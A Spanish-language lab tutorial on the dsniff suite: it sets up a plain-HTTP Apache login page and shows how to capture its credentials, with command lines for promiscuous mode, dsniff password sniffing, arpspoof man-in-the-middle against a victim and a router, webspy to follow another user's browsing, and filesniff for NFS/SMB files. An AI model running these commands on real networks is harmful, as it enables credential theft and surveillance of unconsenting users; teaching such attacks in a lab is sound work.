Dsniff no es un solo programa sino una suite de herramientas especializadas en la intercepción de tráfico de red. Cada herramienta está diseñada para un propósito específico dentro de una auditoría o prueba de penetración.
sudo apt update sudo apt install dsniff -y
dsh instalado, puede ocurrir un conflicto de nombres. La instalación de dsniff puede requerir la desinstalación de otros paquetes que usen ese nombre.En modo normal, una interfaz de red solo procesa los paquetes dirigidos a su propia dirección MAC. En modo promiscuo, acepta y procesa todos los paquetes que circulan por el segmento de red.
# 1. Identificar la interfaz de red (busca eth0, enp0s3, etc.) ip a # Busca: enp0s3, eth0, ens33... # 2. Habilitar modo promiscuo en la interfaz sudo ip link set dev enp0s3 promisc on # 3. Verificar que está activo (busca PROMISC en los flags) ip link show enp0s3
enp0s3 con el nombre real de tu interfaz de red según el output de ip a.dsniff captura y muestra las contraseñas que circulan por la red en texto claro o en formatos débiles (NTLMv1, login básico HTTP/POP).
| Objetivo | Comando |
|---|---|
| Monitorear la interfaz | sudo dsniff -i <interfaz> |
| Guardar en archivo | sudo dsniff -i <interfaz> -w contrasenas.log |
# Modo promiscuo + captura en vivo sudo ip link set dev enp0s3 promisc on sudo dsniff -i enp0s3 # Guardar capturas en archivo sudo dsniff -i enp0s3 -w contrasenas.log
Laboratorio — Captura HTTP con Apache
Montaremos un servidor web HTTP vulnerable para demostrar cómo dsniff captura credenciales enviadas en texto plano.
sudo apt update && sudo apt install apache2 -y
sudo ufw allow "Apache Full"
sudo ufw reload
# Verificar: abrir http://localhost en el navegadorcd /var/www/html/ sudo rm index.html sudo nano index.html
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <title>Servicio Vulnerable de Prueba</title> <style> body { font-family: Arial, sans-serif; text-align: center; padding-top: 50px; } .login-box { width: 300px; margin: 0 auto; border: 1px solid #ccc; padding: 20px; } input[type="text"], input[type="password"] { width: 90%; padding: 10px; margin: 5px 0; } </style> </head> <body> <div class="login-box"> <h2>Inicio de Sesión (HTTP)</h2> <p style="color:red">🚨 ADVERTENCIA: Esta conexión NO es segura (HTTP).</p> <!-- action="login.php" method="POST" → envía credenciales en texto plano --> <form action="login.php" method="POST"> <input type="text" name="username" placeholder="Usuario" required><br> <input type="password" name="password" placeholder="Contraseña" required><br> <button type="submit">Iniciar Sesión</button> </form> </div> </body> </html>
Ctrl+O → Enter → Ctrl+XA — Preparar dsniff (máquina Ubuntu)
# 1. Identificar interfaz ip a # 2. Modo promiscuo + lanzar dsniff sudo ip link set dev enp0s3 promisc on sudo dsniff -i enp0s3 dsniff: listening on enp0s3
B — Simular login (máquina Windows)
hostname -I 192.168.1.44 # En Windows → navegar a: http://192.168.1.44 # Introducir: Usuario=testuser Contraseña=secreto123
C — Resultado capturado en Ubuntu
// tcpdump -i enp0s3 -A port 80 — confirmación de paquetes HTTP con credenciales a nivel de red
tcpdump para confirmar que los paquetes HTTP están llegando a nivel de red. Si tcpdump los ve pero dsniff no, el problema es interno de dsniff o del manejo del tráfico local por el kernel.sudo tcpdump -i enp0s3 -A port 80
arpspoof envenena la caché ARP del gateway (router) y de la víctima, redirigiendo su tráfico a través de nuestra máquina. Es el prerrequisito para que la mayoría de herramientas de Dsniff funcionen en una LAN conmutada.
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
# Terminal 1 — engañar a la víctima sudo arpspoof -i enp0s3 -t 192.168.1.50 192.168.1.1 # Terminal 2 — engañar al router sudo arpspoof -i enp0s3 -t 192.168.1.1 192.168.1.50 # Terminal 3 — capturar tráfico interceptado sudo dsniff -i enp0s3
webspy permite ver en tu propio navegador, en tiempo real, las páginas web que está visitando un usuario en la red. Solo funciona con tráfico HTTP sin cifrar.
# Sintaxis general sudo webspy -i <interfaz> <IP_del_host_a_espiar> # Ejemplo sudo webspy -i enp0s3 192.168.1.38
filesniff monitorea la red para detectar y reconstruir archivos que se transfieren a través de NFS (Network File System) y SMB (Server Message Block, el protocolo de compartición de archivos de Windows).
| Objetivo | Comando |
|---|---|
| Capturar archivos en red | sudo filesniff -i <interfaz> |
sudo filesniff -i enp0s3